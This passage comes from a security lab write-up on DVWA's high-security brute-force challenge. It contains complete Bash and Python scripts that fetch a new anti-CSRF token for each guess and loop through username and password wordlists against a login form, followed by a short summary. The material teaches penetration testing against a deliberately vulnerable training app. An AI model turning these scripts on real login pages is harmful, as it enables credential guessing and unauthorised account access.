10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/bin/bash
# Quick PoC template for HTTP GET form brute force with CSRF token
# Target: DVWA v1.10 (Brute Force - High)
#   Date: 2015-11-07
# Author: g0tmi1k ~ https://blog.g0tmi1k.com/
# Source: https://blog.g0tmi1k.com/dvwa/bruteforce-high/

## Variables
URL="http://192.168.1.44/DVWA"
DVWA_USER="admin"
DVWA_PASS="password"
USER_LIST="/usr/share/seclists/Usernames/top_shortlist.txt"
PASS_LIST="/usr/share/seclists/Passwords/rockyou.txt"

## Value to look for in response (Whitelisting)
SUCCESS="Welcome to the password protected area"

## Anti CSRF token
CSRF="$( curl -s -c /tmp/dvwa.cookie "${URL}/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2 )"
sed -i '/security/d' /tmp/dvwa.cookie

## Login to DVWA core
curl -s -b /tmp/dvwa.cookie -d "username=${DVWA_USER}&password=${DVWA_PASS}&user_token=${CSRF}&Login=Login" "${URL}/login.php" >/dev/null
[[ "$?" -ne 0 ]] && echo -e '\n[!] Issue connecting! #1' && exit 1

## Counter
i=0

## Password loop
while read -r _PASS; do

  ## Username loop
  while read -r _USER; do

    ## Increase counter
    ((i=i+1))

    ## Feedback for user
    echo "[i] Try ${i}: ${_USER} // ${_PASS}"

    ## CSRF token
    USER_TOKEN="$( curl -s -b 'security=high' -b /tmp/dvwa.cookie "${URL}/vulnerabilities/brute/" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2 )"

    ## Connect to server
    REQUEST="$( curl -s -b 'security=high' -b /tmp/dvwa.cookie "${URL}/vulnerabilities/brute/?username=${_USER}&password=${_PASS}&user_token=${USER_TOKEN}&Login=Login" )"
    [[ $? -ne 0 ]] && echo -e '\n[!] Issue connecting! #2'

    ## Check response
    echo "${REQUEST}" | grep -q "${SUCCESS}"
    if [[ "$?" -eq 0 ]]; then
      ## Success!
      echo -e "\n\n[i] Found!"
      echo "[i] Username: ${_USER}"
      echo "[i] Password: ${_PASS}"
      break 2
    fi

  done < ${USER_LIST}
done < ${PASS_LIST}

## Clean up
rm -f /tmp/dvwa.cookie

Python Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#!/usr/bin/python
# Quick PoC template for HTTP GET form brute force with CSRF token
# Target: DVWA v1.10 (Brute Force - High)
#   Date: 2015-11-07
# Author: g0tmi1k ~ https://blog.g0tmi1k.com/
# Source: https://blog.g0tmi1k.com/dvwa/bruteforce-high/

import requests
import sys
import re
from BeautifulSoup import BeautifulSoup


# Variables
target = 'http://192.168.1.44/DVWA'
sec_level = 'high'
dvwa_user = 'admin'
dvwa_pass = 'password'
user_list = '/usr/share/seclists/Usernames/top_shortlist.txt'
pass_list = '/usr/share/seclists/Passwords/rockyou.txt'


# Value to look for in response header (Whitelisting)
success = 'Welcome to the password protected area'


# Get the anti-CSRF token
def csrf_token(path,cookie=''):
    try:
        # Make the request to the URL
        #print "\n[i] URL: %s/%s" % (target, path)
        r = requests.get("{0}/{1}".format(target, path), cookies=cookie, allow_redirects=False)

    except:
        # Feedback for the user (there was an error) & Stop execution of our request
        print "\n[!] csrf_token: Failed to connect (URL: %s/%s).\n[i] Quitting." % (target, path)
        sys.exit(-1)

    # Extract anti-CSRF token
    soup = BeautifulSoup(r.text)
    user_token = soup("input", {"name": "user_token"})[0]["value"]
    #print "[i] user_token: %s" % user_token

    # Extract session information
    session_id = re.match("PHPSESSID=(.*?);", r.headers["set-cookie"])
    session_id = session_id.group(1)
    #print "[i] session_id: %s" % session_id

    return session_id, user_token


# Login to DVWA core
def dvwa_login(session_id, user_token):
    # POST data
    data = {
        "username": dvwa_user,
        "password": dvwa_pass,
        "user_token": user_token,
        "Login": "Login"
    }

    # Cookie data
    cookie = {
        "PHPSESSID": session_id,
        "security": sec_level
    }

    try:
        # Make the request to the URL
        print "\n[i] URL: %s/login.php" % target
        print "[i] Data: %s" % data
        print "[i] Cookie: %s" % cookie
        r = requests.post("{0}/login.php".format(target), data=data, cookies=cookie, allow_redirects=False)

    except:
        # Feedback for the user (there was an error) & Stop execution of our request
        print "\n\n[!] dvwa_login: Failed to connect (URL: %s/login.php).\n[i] Quitting." % (target)
        sys.exit(-1)

    # Wasn't it a redirect?
    if r.status_code != 301 and r.status_code != 302:
        # Feedback for the user (there was an error again) & Stop execution of our request
        print "\n\n[!] dvwa_login: Page didn't response correctly (Response: %s).\n[i] Quitting." % (r.status_code)
        sys.exit(-1)

    # Did we log in successfully?
    if r.headers["Location"] != 'index.php':
        # Feedback for the user (there was an error) & Stop execution of our request
        print "\n\n[!] dvwa_login: Didn't login (Header: %s  user: %s  password: %s  user_token: %s  session_id: %s).\n[i] Quitting." % (
          r.headers["Location"], dvwa_user, dvwa_pass, user_token, session_id)
        sys.exit(-1)

    # If we got to here, everything should be okay!
    print "\n[i] Logged in! (%s/%s)\n" % (dvwa_user, dvwa_pass)
    return True


# Make the request to-do the brute force
def url_request(username, password, user_token, session_id):
    # GET data
    data = {
        "username": username,
        "password": password,
        "user_token": user_token,
        "Login": "Login"
    }

    # Cookie data
    cookie = {
        "PHPSESSID": session_id,
        "security": sec_level
    }

    try:
        # Make the request to the URL
        #print "\n[i] URL: %s/vulnerabilities/brute/" % target
        #print "[i] Data: %s" % data
        #print "[i] Cookie: %s" % cookie
        r = requests.get("{0}/vulnerabilities/brute/".format(target), params=data, cookies=cookie, allow_redirects=False)

    except:
        # Feedback for the user (there was an error) & Stop execution of our request
        print "\n\n[!] url_request: Failed to connect (URL: %s/vulnerabilities/brute/).\n[i] Quitting." % (target)
        sys.exit(-1)

    # Was it a ok response?
    if r.status_code != 200:
        # Feedback for the user (there was an error again) & Stop execution of our request
        print "\n\n[!] url_request: Page didn't response correctly (Response: %s).\n[i] Quitting." % (r.status_code)
        sys.exit(-1)

    # We have what we need
    return r.text


# Main brute force loop
def brute_force(session_id):
    # Load in wordlists files
    with open(pass_list) as password:
        password = password.readlines()
    with open(user_list) as username:
        username = username.readlines()

    # Counter
    i = 0

    # Loop around
    for PASS in password:
        for USER in username:
            USER = USER.rstrip('\n')
            PASS = PASS.rstrip('\n')

            # Increase counter
            i += 1

            # Feedback for the user
            print ("[i] Try %s: %s // %s" % (i, USER, PASS))

            # Get CSRF token
            session_id, user_token = csrf_token('/vulnerabilities/brute/', {"PHPSESSID": session_id})

            # Make request
            attempt = url_request(USER, PASS, user_token, session_id)
            #print attempt

            # Check response
            if success in attempt:
                print ("\n\n[i] Found!")
                print "[i] Username: %s" % (USER)
                print "[i] Password: %s" % (PASS)
                return True
    return False


# Get initial CSRF token
session_id, user_token = csrf_token('login.php')


# Login to web app
dvwa_login(session_id, user_token)


# Start brute forcing
brute_force(session_id)

Summary

DVWA BruteForce Successful

This attack is mix between the low level and the main login screen. Anti Cross-Site Request Forgery (CSRF) tokens (a value which is random on each request) should not be used for protection against brute force attacks.